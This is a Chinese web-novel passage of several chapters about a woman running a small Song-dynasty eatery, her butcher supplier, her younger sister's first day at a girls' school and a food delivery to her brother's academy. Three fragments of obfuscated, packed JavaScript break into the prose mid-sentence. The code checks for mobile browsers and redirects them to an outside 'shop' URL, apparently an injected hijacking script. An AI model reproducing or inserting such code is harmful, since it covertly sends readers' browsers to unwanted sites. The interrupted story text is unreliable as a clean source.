郑屠夫包子压根就没吃过瘾，说实在的，他家肉铺的下水很多，有时卖不出，就只能给客人搭些，半卖半送的，若是能给沈娘子一直供货，也能稳定下来，而且沈娘子的手艺好，生意定然错不了，心里有了这个想法，想着等有空就去沈家食肆瞧一瞧。 程家大郎是在保康门附近的酒楼做重工，搬运酒水货物，力气活，晌午一到，就看到自家娘子提着食盒过来。 晌午正是饭点，酒楼前门彩帛飘扬，后院门口他们这些工人也都三三两两的坐下歇息，酒楼是管饭的，若是好一些的能见上荤腥，不好的话，也就炊饼随便吃，配些粥或者茶水即可。 干这样体力活都是些年轻力壮的，忙活一大早，累的有些靠在板车上晒太阳歇着，有些蹲在墙边，一手端着碗，一只手拿着炊饼，一边吃一边喝，也有家中特意来送饭的，都已经累极，吃饭也几乎不说话。 程家嫂嫂在家中照顾孩子做些家务，有时也接一些外面洗涮缝补的活，不忙的时候就常常给程大郎送饭，见她过去，有些年轻的小哥都打招呼。 “程家大哥，嫂嫂来送饭了。” “嫂嫂惯是疼大哥的。” “是啊，往后我也要娶个像嫂嫂这般贤惠的娘子呢。” 程嫂嫂人爽朗，跟大家伙打趣也不羞涩，“行啊，改天我也做回媒婆。来与你说媒。” “那就深谢嫂嫂了。” 程家大郎笑着挥手，让他们都一边去，他接过食盒。 俩人坐在小板凳上，程嫂嫂把食盒打开，她买完饭就过来，半点没耽误,所以还热乎乎的。 程家大郎拿上筷子就赶紧吃上一大口，香，可真香，里面还装了一些萝卜丁，他用筷子把萝卜丁和面条一起送进嘴里，面条劲道，萝卜酸脆可口，水灵灵的，蒜末有些辛辣味。 离他们近的工人也是闻到了味道，“这般香？嫂嫂是做了什么好吃的。” “不是我做的，我家隔壁开个小食肆，在店内买的。”程家嫂嫂简单解释一二。 旁的工人瞧着程大郎吃的那叫一个香，手中的炊饼顿觉难以下咽，干体力活，若是不再吃些好的或者有油水的，实在难以干下去，有心记下店名，改日也要去尝一尝。 沈嫖中午卖出的快，收摊就快，虽说热干面量下去，但绿豆汤和包子的收入又变高了，这个月还有做席面的收入，是个不错的开头。 午觉后醒来，门口有人捎来冯裁缝的口信，说是衣裳已经做的差不多，等酉时末去取，免得耽误穿。 沈嫖正打算明日休息一日，送完穗姐儿去过女学后，就去辟雍看沈郊，现在手头也宽裕了，她受到的教育是，再穷不能穷教育，再苦不能苦孩子。 在院中给菜园盖上一些碎麦秸，多少能保温，葱是栽在土里，这也是冬天储存的一种方法。 她在家中正忙碌着，就看到门口来人。 正是郑屠夫，他还特意提几根熏肠。 沈嫖笑着上前，请他坐在店内，倒上一杯热茶。 “郑屠夫，可有什么事？” 郑屠夫看着这个小食肆连招牌都没，跟他见过的小食肆都不一样，更别说挂着彩帛，五彩灯笼的大酒楼，但既然来了，冲着的就是沈娘子的手艺，他端起碗喝口水。 “沈娘子，是这样的，今日我吃了娘子做的大肠馅的包子，觉得甚好。”他一提起包子就激动起来，很难想象大肠还能这般做，“我肉铺的大肠平日里也很难卖出去，所以想说能不能跟沈娘子做个长期的生意。” 他说完又觉得自己实在冒昧，沈娘子若是不答应也没事。 “也好啊，不过我可能每次要的量也不多，毕竟我店小。”沈嫖不打包票。 郑屠夫欣喜，“不碍事不碍事，要多少都行，我敢保证，我家猪肉绝对日日新鲜，你放心就好。”他做屠夫这么多年，常常来的老顾客也多，端看的是他的实在，童叟无欺的价钱。 “那咱们可以立个字据。”沈嫖想着后面还想做些卤菜。 两个人都很利落，字据立下，并且郑屠夫还会帮忙处理，价钱也比单买便宜不少，沈嫖再买回来只需要简单的清洗就好。 各自按好手印。 郑屠夫起身抱拳行礼，“沈娘子不用送，另外这熏肠是我家娘子的手艺，请沈娘子尝尝。” “多谢郑家娘子了。”沈嫖回礼道谢。 郑屠夫回家路上还觉得沈娘子这一手的好厨艺，往后定会扬名整个汴京，他看人不会错的，越是如此，他供货也越上心。 沈嫖到冯娘子店中把做的几套衣裳拿回，冯娘子手艺好，她还有两位学徒，所以·做起来也快一些。 上好的棉布做里衣，贴身穿会舒服也更保暖，里面稍微加厚一些。 沈嫖付完剩余的钱，就提着包裹回去，用过晚饭，给穗姐儿试穿上，果真是人靠衣装马靠鞍，瘦弱的脸颊现在也慢慢有肉。 “好看。” 穗姐儿从未穿过这么贴身的衣裳，面料很柔和，特别舒服。 “谢谢阿姊。” 沈嫖也试穿一下自己的新衣，不错，她这几日日日干活，吃的也比从前好多了，人果然还是要吃肉，力气都大很多。 “明日我送过你去女学，就去看你阿兄，放心罢，不耽误你下学，我去接你。” 穗姐儿窝在被子里，点点小脑袋，“阿姊，我一定会好好读书，以后帮你算账。”她说着话就迷迷糊糊的睡着了。 第二日一早，沈嫖起来就把炉子给点上，先用水煮米饭，另外简单做早饭，并且在门口挂上牌子，写上几个大字，今日不营业。 昨日郑屠夫提来的熏肠，她切了两根，熏肠做的好不好，看里面的肉馅是否调味好，还要看熏的程度，要色泽酱红，保证外面的肠冒着油，里面的肉质又紧实入味，这样的熏肠最香。 猪油化开，把切好的腊肠倒进去，大火爆炒，再倒进去切的蒜苗，肠炒出的油满屋飘香，蒜苗上沾染了猪油的油香味，又炒个白菜，捞出来一份酸萝卜，切成丁，酸酸脆脆，格外水灵，煮的米粥。 早饭做的十分简单，两个人，三个小菜，配上一碗熬出米油的米粥。 穗姐儿今日也起来的很早，自己洗漱好，穿上新衣。 俩人在院子里围着小桌坐好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679140|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“在女学里，若有不懂的就多问曹女傅，有不习惯的回来告诉阿姊，知晓吗？” 穗姐儿乖巧的点头。 沈嫖吃着熏肠，有些松柏的清香，只除了熏得火候有些过了，味道咸香的很不错。 穗姐儿喝了大半碗的米粥。 沈嫖另外在锅里给穗姐儿做午饭，用水煮的差不多七八成熟的米饭，再倒进入小陶锅里，加上水，再把腊肠，小白菜切碎，打上一个鸡蛋，放上盐，五香粉，酱油，盖上盖子在炉子上焖蒸，等蒸的米饭马上熟透，再沿着盖子浇上油，只听得滋啦滋啦的响声。 因为没多余的食材，就只做个简易版的米饭砂锅，等到蒸好，掀开盖子看一下鸡蛋已经完全熟透，小陶罐就和家中的碗差不多大小，放到食盒里，提着一起送穗姐儿到女学。 沈嫖到女学给交上这半年的学费，食盒给到女傅家的管事妈妈，她看着关上的大门，心里头回觉得空落落的。 收拾好心情，回家准备做些好吃的，给沈郊带上。 巷子里不缺摆摊的，有自家养的鸡鸭，放在笼子里。 沈嫖买了一只两岁左右的公鸡，花三十多文，准备做卤鸡，到时就撕成小块，这样天气冷，沈郊在书院也能多吃几顿。 有个妇人带着一位十一二岁的男孩，面前摆着两筐白萝卜，沈嫖上前看过，就十分喜欢，家中种的还要些时日吃不到，这白胖萝卜，水灵灵的，常言说冬吃萝卜夏吃姜。 “老板，这萝卜是怎么卖的？” 那妇人大约三十岁左右，头上包着蓝色的帕子，看这位年轻的娘子，忙答道，“三文钱一斤，娘子要多少？” “我全都要了，劳烦老板过秤。” 妇人顿时喜笑颜开，但又觉得太多，“娘子，这么多萝卜可要吃些时候呢？” 沈嫖点头，“我家中是开食肆的。” 妇人这才没了担忧，旁边的男孩不说话，但重活都他来干，提着过秤，总共两筐五十三斤。 沈嫖把钱付了，那妇人让儿子帮着一同给送到家门口，本就隔着一条巷子，打开门把萝卜先放到店内，她拐弯去到李娘子那条巷子，卖河鲜的基本都在这里。 因为挨着蔡河，平时的鱼鲜是最常见的，毕竟靠山吃山，靠水吃水，有人卖拇指大小的小鱼，沈嫖买一草兜，炸小鱼，天气冷，做个焦鱼酸汤，既开胃又暖身，她还准备炸些萝卜丸子，也一同带去书院，熬卤汤需要的香料也多，香料铺子里按照自己的要求配上一些，香料铺子的小哥瞧着这娘子配的倒是新奇。 她提着筐里的小鱼到家门口时正巧碰见前日来的那两位小郎君，店内多是码头的漕工，穿戴最好的就数他们两位，所以也有印象。 邹远昨日没吃包子，夜不能寐，他若是因为偏见就错过好吃的，那可真是该死，所以趁着今日休息，就拉着陶谕言一同过来，谁知就看见写的今日不开门，这一瞧见人激动过起来。 “沈娘子，今日不开门？” 沈嫖点头，“今日家中有事。” 邹远看到沈娘子手上大包小包，忙上前殷勤的帮忙提起，“沈娘子，家中这是要待客？” 15.咸香四溢的熏肠砂锅焖饭 陶谕言看着邹远这副狗腿的模样实在不堪，但也不知怎的跟着一同进到店内。 “不是，我今日准备去书院看我家弟弟。” 陶谕言听到她家中还有读书人，听闻也多问上一句，“是在哪个书院？” “辟雍。”沈嫖把买回的鸡拿出来，准备先把鸡给整只卤制上。 陶谕言想起自己的好友，太学多有些纨绔，但辟雍很是不错，好友家中便把他扔到了辟雍，想来也有些日子没见到人了。 邹远一瞧就知道这沈娘子是要做好吃的要给自家人吃，询问后当下决定，“沈娘子，那我自己去买只鸡，再付你些费用，可以帮我也做一只卤鸡吗？” 卤汤都是用十几种香料熬制的，而且都是久的卤水味道越好，所以多卤制一只也并不费功夫。 “可以，不过要两岁左右的公鸡做卤鸡最好。” 邹远这会把他们俩姓甚名谁都赶紧给沈小娘子介绍好，就转身出去买公鸡，他都想着能做出这般好吃的面条的厨娘，卤鸡定然也跟炙烤食店中售卖的味道不同。 陶谕言不情愿的被邹远拉着出食肆，“我知晓你爱吃，但从不知竟然如此爱吃。” 邹远叹气后又摇头，“人生在世，吃喝二字，我家祖上就都长着一张爱吃嘴，你又不是不知，我祖上是要饭出身的，那御史台的宋大人每每与我父亲有政见不一时，在朝堂上都是屡屡出言讽刺要饭狗，再说我祖父虽是开国武将，现在地位尊崇，但成为武将之前别说大鱼大肉，就是连粥稀的能照出人影，所以自我祖父到我父亲都十分珍惜吃食，我们一大家子都爱吃，与你们这样诗书耕读的大家不同。” 陶谕言听闻笑下，想起邹家一件朝堂皆知的事情，邹家大郎在外驻兵半年轮防回到汴京，一头扎进会仙楼，吃的都快晕过去了，“我倒是十分羡慕你。”活的恣意潇洒 。 沈嫖倒是看这两个小郎君的年岁放在现代也不过高中生，贪吃些也正常，而且这样大年龄的正是能吃的时候。 她动手宰杀这只公鸡，烧热水褪毛，然后用井水彻底清洗上几遍，这种吃杂粮长大的公鸡，肉质最为紧实，而且年岁也小，不会像很小的小公鸡那般没那么多肉，也不会再大一些的肉质会柴。 想起云南的弥勒卤鸡，她曾在云南特意去吃祖传好几代人的弥勒卤鸡，那一整只卤鸡从锅里拿出来放凉以后，色泽鲜亮，肉质紧实还多汁，味道咸香，更是皮上都透着油脂，但因是祖传的技艺，并不外传，她就自己在云南待了一个多月，日日吃，又用当地的食材以及香料来回配，后来做出来的竟然也大差不差。 因为这件事情，师父说她不管是品尝菜肴的味觉还是做事情的恒心，简直是天生干这一行的。 邹远自家的产业里有不少的铺子，在崇明门外大街就有一家售卖家禽牲畜的。 两个人坐车没多久到。 邹家管事姓王，看自家小郎君到，忙上前行礼。 “二郎。” 邹远看店内也是热闹，“王管事，我要一只两岁的公鸡，记得宰杀干净。” 王管事立刻就吩咐店内的小哥快去宰杀。 邹家一家从上到下都十分爱吃，且会吃，因此城内的酒楼有些是邹家出了不少银钱的，王管事是头回见二郎到家禽店里，一般他只是酒楼的常客啊。 “二郎今日怎的这般急匆匆的？”王管事是邹家的老人了，也算是看着邹家大郎和二郎长大的，打听这也不算逾矩。 邹远悄悄低声开口，“因我这几日遇到一位厨艺十分好的娘子。” 王管事顿时哭笑不得，也是，东家一家都惯是如此。 陶谕言坐在一旁也不说话，只喝水。 没一会，小哥就提着一只宰杀的特别干净的小公鸡过来。 邹远接过以后又赶紧赶回去。 曹女傅今日授课，三位女孩的进度不一，所以教授的内容也不一样，像新来的沈穗，就是基础的识字认字。 晌午时候，管事妈妈姓崔，大家都叫她崔妈妈，一般女学是在晌午下学前半个时辰她就开始着手热饭，其余的两位姐儿的还是照常的粥饭，并着几道菜，放在锅内蒸热即可，但穗姐儿的是沈娘子还特意交代过，只需要在火上慢慢煨着就好，曹女傅不喜人多，厨房里只有她和另外一位妈妈，以及一个小丫鬟，外面吹着风，她守在厨房内，不多时就闻到一股香味，没一会就有些焦香，但又不是饭菜糊了的焦，到后面饭菜热好就是咸香味道，她闻着味道就是那小陶罐锅里传来的。 另外一位妈妈姓钱，她坐在廊下择菜，闻到香味扭过头，“崔妈妈，这香味也是女学生带过来的饭食吗？” 崔妈妈点下头，“这是新来的穗姐儿的，闻着倒是香呢。” 钱妈妈是专门负责厨房的肩并着一应采买，常常出门，“哎，我记得你说这位姐儿姓沈？” 崔妈妈点头。 钱妈妈有些惊喜，忙问道，“送她来的是位娘子吗？长的白净，十分温婉，眼睛格外好看，就是有些瘦。” “怎的，你识的？” 钱妈妈真是觉得巧，“沈家食肆，开在码头那家，我昨日特意去吃过她家的热干面和大肠包子，香的我现在想起来都要流口水，那沈娘子的手艺可是一绝呢。” 崔妈妈开始好奇起来，看着炉子上的砂锅，都不知道这里做的是什么，能这般的香。 前头的丫鬟来传话，说可以上饭。 钱妈妈也帮着一并提着食盒送到前厅。 沈穗第一日来这里，一直都很紧张，女傅上课时虽然严厉，但她犯错，告知她改正的时候一点都不凶，渐渐的她也没那么紧张了。 跟她一同上课的两位，年岁比她大一两岁，还没来得及说话。 女学生们用饭的地方是在前厅，每人每个的小饭桌。 钱妈妈把饭盒都一一端上，摆好汤匙和筷子才下去。 沈穗打开自己陶罐的盖子，热气更甚，阿姊跟她说要搅拌，她拿着汤匙都搅拌开来，挨着陶罐的米是成了焦脆的锅巴，这会仔细看还有些油的小气泡，里面的肠是今晨吃过的，那肠油都已经浸透米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684355|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 因女傅不在，她们三个都没那么紧绷了，没有学生不怕夫子的。 其中一个圆脸蛋，眼睛大大的女孩伸头去瞧沈穗陶罐中的饭，先笑着打上招呼。 “我叫尤慧，她叫杨钰兰，你叫沈穗？” 杨钰兰八岁，是年纪最大，个子也最高的，脸蛋偏长，听她介绍完温柔的笑下。 沈穗点下头，“是。” “那我们以后就叫你穗姐儿了，我刚刚就闻到你食盒的香味了，是做的什么啊？”尤慧活泼好动，介绍完半点都忍耐不得。 “焖饭，我阿姊给我做的，慧姐姐要尝尝吗？”穗姐儿平日里在家中就常和月姐儿分享，她也习惯了。 尤慧刚刚就在等她这句话呢，立时起来，把自己带来的炙羊肉分过去一些，杨钰兰年纪大一些，瞧着她这动作，“慧姐儿，当心女傅看到你这般不规矩罚你？” 尤慧最是怕女傅，悄悄看过去，“无事，我就尝尝。” 她看着那陶罐里鲜香味更甚，盛上一勺放嘴里，米粒的香味和熏肠的香味，两下交织在一起，实在难以形容，赶紧就又盛上一汤匙给杨钰兰送去，“阿姊也快尝尝，我还没吃过这般好吃的。”她刚刚吃的太多，有些烫，嘴里还在不断的张嘴呼气，但也不耽误她分享。 尤慧吃过好的，再看自己的炙羊肉，粥食，又觉得没滋没味。 杨钰兰吃的一块恰巧是挨着陶锅边上的那块，焦香里还带着一丝咸香，不知都放了些什么呢，由衷的夸赞。 “穗姐儿的饭食确实好吃，怪不得慧姐儿刚刚闻到香味就坐不住了。” 穗姐儿被称赞还十分羞涩，但又想到是阿姊的手艺，不觉得开心，“我阿姊是厨娘还开了食肆，她的手艺顶好的，我阿姊还做过糖醋鱼，又酸又甜，我最喜欢那道了。” 尤慧也想吃，被穗姐儿形容的更馋了。 邹远把鸡给到沈嫖，也没有多留，只听着一个时辰后再来，他就和陶谕言去内城用午食，但想到沈小娘子的食肆就不是大酒楼，他想着找个小食店进去试试，结果一道炙鱼有些焦糊，发现不是每家都是有沈娘子的手艺的。 沈嫖这边正在做弥勒卤鸡，卤鸡怎么做的，其实都在名字的字面意思上，鸡要选两年以内的公鸡，卤就是汤汁和料包，她用干净的布，把自己尽量凑上的香料包在一起，缝合好。 小厨房的地锅里，把油过葱段，炸香，料油再把饴糖化开，放上水，倒入酱油，调色增香，放入洗干净宰杀好的公鸡。 下面就用木柴慢慢的来炖煮，卤制。 沈嫖在菜园旁边挖了一个坑，把水灵灵的萝卜一个个的丢进去，再掩埋上土，可以保存萝卜一整个冬天都不会糠，特意留出来两个，削皮切丝，剁碎，用面和上，加一个鸡蛋，放葱花，调味料，萝卜丸子吃的就是外焦里嫩，以及萝卜的清香味道。 把萝卜丸子准备好，再把买来的拇指大的小鱼简单处理一下，用手把鱼肚的内脏挤出来，放在盆里清洗，捞出来放鸡蛋，面粉搅拌，把小鱼干都均匀的沾上面粉。 16.秋日里热乎乎的焦鱼酸汤 外面食肆的灶里点燃木柴，锅中倒入大豆油，油热，先过油炸萝卜丸子，灶台边把盆放上，她用手挤出一个个圆圆的丸子，随着逐渐加热，丸子飘起，沈嫖拿着笊篱捞起来放到油罐上，控油，捏起一个放到嘴中，外面一层酥香，里面嫩乎乎的，咸味正好。 她来回捞起两笊篱，就开始炸小鱼，拇指大的鱼吃的就是一个味道，说肉那是没有的，小鱼拌的散散落落的，先炸第一遍，又捞出来过油再炸第二遍，已然是焦香酥脆。 邹远和陶谕言这会从外面进来，雾气上来，汴京城飘起丝丝小雨。 邹远看到那竹筐里放着金黄一个个的小丸子，冒着香气，明明刚刚他才吃过两个炊饼，一碗羊杂汤，这会已经又饿了，口中生津。 “沈娘子，正忙着呢？” 陶谕言觉得他没话找话，不过嗅下鼻子，好香。 沈嫖拿着笊篱捞起小鱼干，转头看他们，“两位小郎君来了，我这边也正好忙完，邹郎君，你的卤鸡马上就好。” 邹远点下头，“不急不急，沈娘子，这丸子我可以尝尝吗？” 沈嫖觉得萝卜丸子并不是什么稀奇的东西，“可以，当心烫。” 邹远拿起筷子夹起一个放到嘴里，果然烫，不过他咬一下一口，外焦里嫩，里面还放了葱，油炸激发出葱的香味。 “沈娘子，这个也好吃，能分我一些吗？我付钱。” 沈嫖只是觉得炸的也不多，“我给郎君用油纸包一些吧，不值得什么钱，倒不必付了。”都是常来她食肆的食客，以后多捧场就好。 陶谕言十分矜持，他不好意思张嘴问沈娘子要，但眼睛时不时的就会看过去。 沈嫖拿起油纸给他邹远包上一包，又拿起小叉子插上一个圆滚滚的丸子递到陶谕言面前，“陶郎君也尝尝。” 邹远已经低头吃起自己油纸里包的，看好友的样子，“你…尝尝，真的好次。”他口齿不太清楚。 陶谕言拘谨的接过来，咬上一口，他还没吃过这样的做法，好香，好嫩，好吃。 沈嫖见他吃了笑笑，她也是从少年人过来的，年轻的时候最是好面子，也爱口是心非。 小厨房的地锅灶内火早已经灭了，掀开锅盖，香料味道就冒了出来，卤鸡的颜色也是正宗的金黄色，从色泽上看非常完美。 她拿出一个大的油纸，把邹远的那只捞出来放上去，还十分烫手，卤鸡热的时候香气扑鼻，凉的时候肉质更是别有一番风味，用绳子简单的系成十字，包裹的严实。 邹远站在锅边就这样不错眼的瞧着，他要带回家慢慢吃，顺手接过来，他从怀中掏出一把铜钱，放到桌子上，还碰撞出清脆的声音。 “沈娘子，这些够不够？” 沈嫖瞧着也有几十文，“不用这么多。”即使邹远不蹭汤底，她也是要做的，顺手的事而已，“十文就好。” 邹远并不在乎这些，提着东西往外走，“不不不，沈娘子，你的手艺值得，这是卤鸡和丸子的价钱。” 沈嫖忙不迭的捡起想再还他一些，结果他人已经拽着陶谕言跑出去了，她看时间也不早了，把煤火炉子打开，木耳豆腐皮切丝，锅里用葱姜呛油，然后捞出来葱姜，倒入一勺醋，用料油激发出来酸味，再倒入一瓢水，切好的木耳豆腐丝放进去，煮开盐，胡椒，酱油调色调味，煮开后用绿豆淀粉勾芡，酸汤就可以了，本应该用韭黄出味的，但在汴京韭黄因为种植方式困难，所以价格也昂贵，她没买，汤里滴上芝麻油，再把炸好的小鱼抓上一把放进去。 她把丸子带上一大半，剩下的准备晚上和穗姐儿一同吃，提上沉甸甸的食盒，拿上些钱，另外小包裹里放着三套新做好的衣衫，一套是她做的，另外两套是用王家送来的布匹赶制的，到车行里两文钱坐驴车，不到半个时辰就到了辟雍。 辟雍有两个大门，两个小门，南小门对着的就是一片小馆子区，辟雍拥有上千的生员，所以紧临着这边的家家户户门口都基本上都做起了吃食以及杂货铺的生意，沈嫖就看到门口的旗帜上写有炙烤铺子，炊饼，羊汤，等等，还有一些在巷子里推着独轮车摆摊的小食摊，可真是热闹非凡。 沈嫖是第一次来这里，她并不熟悉这边，在门口的角落里等了好一会，才看到有学子陆陆续续的从里面出来，她看到一位年轻学子，长的十分良善，上前搭话。 “小郎君，我想找你打听一人。” 柏渡晌午是在膳堂吃的炊饼和羊肉粉丝汤，但汤煮的没什么味道，白瞎这么好的食材，这会虽然才过去不到一个时辰，他就已然坐不住，想着出来觅食，找沈郊和陈尧之，那两人完全不理解他的因为肚子空空，所以头也空空的这一说法，无奈只能他自己出来，昨日归家后，虽然长兄对他严厉，但嫂嫂很是亲待他，说他饿瘦了，就给他多少塞些文钱，但嫂嫂也不敢给太多，不过够他好好的大吃一顿，这么想着，就看到一位小娘子拦着他问路。 “是谁啊？” 他一直都是个心善直爽的好学子。 沈嫖觉得自己相面的功力不差，果然良善，“名字是沈郊，其余的我就不知了。” 柏渡听闻这个名字，又认真的打量起这位娘子，“沈兄？我认识他，你是？” 沈嫖没想到这般巧合，“我是他阿姊，我瞧这天越来越冷，所以给他送些东西来。” 柏渡顿时就热情起来，只是书院不能让外人进去，“沈娘子，你先到这边的茶馆里歇会，我去书院把沈兄叫出来。” “谢谢小郎君，不会打扰他上课吧。”沈嫖不了解辟雍是怎么授课的。 柏渡大手一挥，“自是不会，我们今日下午没课。”他说完转身就兴冲冲的要回去叫人，但又停住脚步，想起上次吃过的红烧肉，不由有些馋，小心开口，“沈娘子，你还做了吃食吗？” 沈嫖点下头，“刚刚做好，还热乎着呢。”她说完又看到他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690481|188533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神落在食盒上，“一会和我家二郎一同来吃些罢，我做的多。” 柏渡顿觉得不好意思，嘿嘿一笑，“谢过沈家阿姊。” 沈嫖提着食盒和小包裹就到茶店里歇脚，花上两文钱要份茶水，只是宋朝的茶水她一直喝不惯，里面放的有一些香料，还不如她喝白开水。 沈郊正在专心写梁博士留下的文章，看到柏渡小跑着进来。 “怎的回来的这么快？”走之前他还放言要大吃一顿呢。 柏渡喘口气，“不是的，沈郊，你阿姊来了，说给你送些吃食和衣裳。” 沈郊以为自己听错了，忙起身就往外面走，“我阿姊在东小门吗？” 柏渡跟在后面，“是的。” 两个人脚步加快，他们住的斋舍距离东小门有些远。 柏渡带着他出去，直接找到茶馆。 沈嫖就坐在茶馆的门口位置，看到人抬起手招了下。 “这呢。” 沈郊见到人脚步才放慢，径直走过去坐下。 “阿姊。”他才叫人。 沈嫖看他才几日没见，好像更瘦了，忙把食盒打开，“我在家中做好的，你趁热先把汤喝了。”把汤摆在他的面前，又拿出来三份封好的油纸，“这里是一整只卤鸡，还有炸的丸子以及小焦鱼，带到书院里，跟你的朋友分着吃。” 她边说边拿出碗筷汤匙，本就是想到不方便吃食，特意带两副，这下正巧，盛出来两碗。 “这是焦鱼酸汤，我刚刚炸过的小鱼，来之前放进去的，现下估计已经泡的酥软。” 沈嫖自见到沈郊，嘴里不停，手上也不停。 柏渡见沈郊还有些发愣，不知道他在想什么，自己先笑嘻嘻的接过汤匙，“谢谢阿姊。”接着喝上一大口，酸汤开胃，过油炸过的小鱼本是焦脆的，现下已经被汤汁的味道全部浸入，又酥又好喝，外面吹着凉风，这一口下去浑身暖洋洋的。 沈郊喝口酸汤，很好喝，他在学斋内冻得僵硬的手指瞬间暖和起来。 沈嫖见他吃着把家中近几日的情况跟他说一遍，等她说完就听见柏渡接话，“阿姊的手艺真好，开的食肆定然爆满。” 沈郊看他一眼，自己竟插不上一句话。 “还可以，每日做的都能卖完。”沈嫖笑着应答。 沈嫖没多待，她给沈郊留下半贯钱，出门在外，多些钱好办事，“等还有空我再来看你。” “阿姊也要保重身子，不要太劳累。”沈郊只半天说出这句话。 沈嫖点头，“我心中有数，快回吧。” 沈郊手中还提着尚有余温的吃食，提着的包袱里有厚实的衣裳，还有钱，他转头看到柏渡，他还在依依不舍的挥手，又想起他刚刚满口的阿姊。 “那是我阿姊。”说完就径直往书院东小门走去。 柏渡被这一句话说的摸不着头脑，“我知道啊，但现在也是我阿姊了。” 17.嫩滑多汁的卤鸡 柏渡边说边跟上，帮忙给沈郊提起包裹。 “我饿了，沈兄，阿姊说还有一只卤鸡，要不要打开看看？”然后再吃点，只是后半句话他还未讲出口。 沈郊无奈的看他一眼，再次确定一件事，好友确实是脑中空空。 “现在不行，等到晚间和尧之兄一起吃。” 柏渡又看向旁边的丸子，他还没吃过萝卜丸子，家中并没做过，他只吃过杨楼的四喜丸子，第一次品尝是好吃，后再吃就会觉得腻。 “那也好，一定等晚间用饭食。” 沈嫖去书院时雨已经停了，坐驴车回来后，又下了起来，看看时间马上要接穗姐儿，也不知她今日学习怎样？ 邹远和陶谕言一同去了瓦肆听戏，本没多少的丸子，在来的路上就趁热吃完了，只剩下打包的卤鸡就四四方方的放在桌子上。 陶谕言已经闻到卤鸡的香味，时不时的眼神飘过去。 邹远坐在他对面，“是不是想吃？” 陶谕言摇头，“并没有。” 邹远装作似有些遗憾的摇摇头，也不再提，台上正唱到好，他立刻鼓掌呵声好，看过两场戏，他和陶谕言分开，各回各家。 邹祖父在开国中立下汗马功劳，后来被封为定国公，现在的定国公世子是邹父，邹远上还有一个大哥哥，邹渠，大哥哥前年娶了黄指挥使的次女，黄娴英。 邹家位置是在开封府附近，周围热闹非凡，南面就是知名的州桥夜市，紧挨着的就是大兴国寺，左边出梁门，就能到金梁桥。 邹家人口简单，家中嫂嫂去年诞下一对龙凤胎，现在还不到两岁，但已经满院子的跑，祖父身体还算康健，祖母早逝，他母亲性子暴躁，但嫂嫂娴雅，十分端庄。 邹远提着东西悠哉悠哉的进府。 前两日，大哥哥刚刚从西郊轮防赶回，今日定下要全家一起吃团圆饭，他还未进正厅，就听到大哥哥训子的声音，说什么要站有站相，坐有坐相，万不能像你二叔那般。 邹远腹诽，他堂堂少年好儿郎，到他大哥哥嘴中就成为反面了。 “你还说佑哥儿，你幼年还不如他呢。”这话是邹父说的。 邹远进来就瞧见，祖父上座，父母亲在右边，大哥哥和嫂嫂在左侧，佑哥儿和晞姐儿，玉软可爱，只是佑哥儿虽然小小年纪，但在父亲面前总是不如在别处活泼些。 “见过祖父，父亲母亲，大哥哥，嫂嫂。”他笑着行礼。 邹父瞧见幼子进来，刚刚在孙儿面前慈祥的面孔就又变个样子。 “一家子用饭，怎的就你来的这般晚。” 邹远就知道会这样，他已经习惯了。 邹母在一旁啧一声，“好好要用饭，这么说二郎做甚，二郎这些日子被你发配到码头去做监工，还不够啊。” 邹父娶妻时，天下初定，因前朝祸乱十几年，民不聊生，除非是钟鸣鼎食之家，大多数是没读过书的，邹母在乡野间名声很好，大方爽朗，甚至还带着庄子里的乡兵抵抗那些要趁乱烧杀抢掠着的匪徒，邹祖父觉得这样的娘子十分好，就为邹父聘了来，一开始他们的感情并不好，鸡飞狗跳的，后来邹父剿匪受伤，邹母衣不解带的伺候，又主持好府中事宜，两人变的也形影不离，第二年邹家大郎就出生了。 果不其然，邹父听闻，只哼哼两下，就不再多言。 邹远笑嘻嘻的，提着手中的卤鸡上前，“祖父，瞧孙儿给您带了什么好东西？” 邹祖父是个老吃家，现在最爱的就是吃些炙羊肉，炙鱼，喝着小酒，日子过的倒是痛快，他鼻子嗅嗅，隔着油纸就闻到了香味。 “是卤鸡？” 邹远颇为佩服的点头，“还是祖父好鼻子。” 丫鬟到黄娴英身边报饭厅都已经准备好了。 一家子到隔壁的饭厅内落座。 邹家人爱吃肉，今日桌子上的炙鱼，烧的羊肉，还有鱼汤，多不胜数。 邹远亲把那只卤鸡打开，已经凉了，本来包着味道并没有那么明显，现在那香味慢慢散开，闻着就是下了功夫的，能瞧见上的好多种香料。 邹大郎抬手，“拿下去热一下。” 邹祖父拦下，“卤鸡，要凉了吃别有一番风味。”他说完就撕下一只鸡腿放到自己碗里，又撕下另外一只鸡腿放到邹远的碗中。“好了，剩下的你们吃罢。” 